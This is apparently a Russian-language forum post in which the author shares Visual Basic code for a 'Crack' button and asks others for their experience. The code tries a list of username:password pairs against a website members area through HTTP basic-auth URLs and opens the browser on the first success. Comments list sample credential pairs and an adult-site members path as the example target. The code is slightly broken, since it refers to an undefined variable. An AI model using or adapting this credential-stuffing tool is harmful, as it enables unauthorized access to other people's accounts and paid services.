Мой не самый лучший и удобный, поделитесь опытом
- Код: Выделить всё
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const SW_SHOWMAXIMIZED = 3
Private Sub Crack_Click()
Dim NamePass As String, src As String, Ad As String, i As Integer
For i = 0 To lstPasses.ListCount - 1
NamePass = lstPasses.List(i)
lstPasses.Selected(i) = True
'lstPasses - ListBox с именами и паролями например:
'maria:front
'raymo:rober
'markh:hritz
'tomha:sting
'peter:crean
'blast:turne
'chase:mushe
'neill:canad
'tvbob:minor
'sunny:sides
'joshu:lesli
'shima:motos
'johns:scott
'frash:yahoo
src = LCase(Inet1.OpenURL("http://" & Pw & "@" & txtServer))
'txtServer - текстовое поле: название сервера, ну например:
'teenflood.com/members3945/
'Inet1 - MSINET.OCX
'lblStatus label показывает прошли мы или нет
If InStr(1, src, "401") Or InStr(1, src, "incorrect") Or InStr(1, src, "wrong") Or InStr(1, src, "failed") Then
lblStatus = "нет" & " - " & NamePass
Else
Ad = "http://" & Pw & "@" & txtServer
lblStatus = "да!" & " - " & NamePass
GoTo 20
End If
Next i
20:
'открываем дефолтовый браузер
ShellExecute Me.hwnd, "Open", Ad, vbNullString, vbNullString, SW_SHOWMAXIMIZED
End Sub
. И, по хорошему, пароль и логин передаюбтся методом POST.
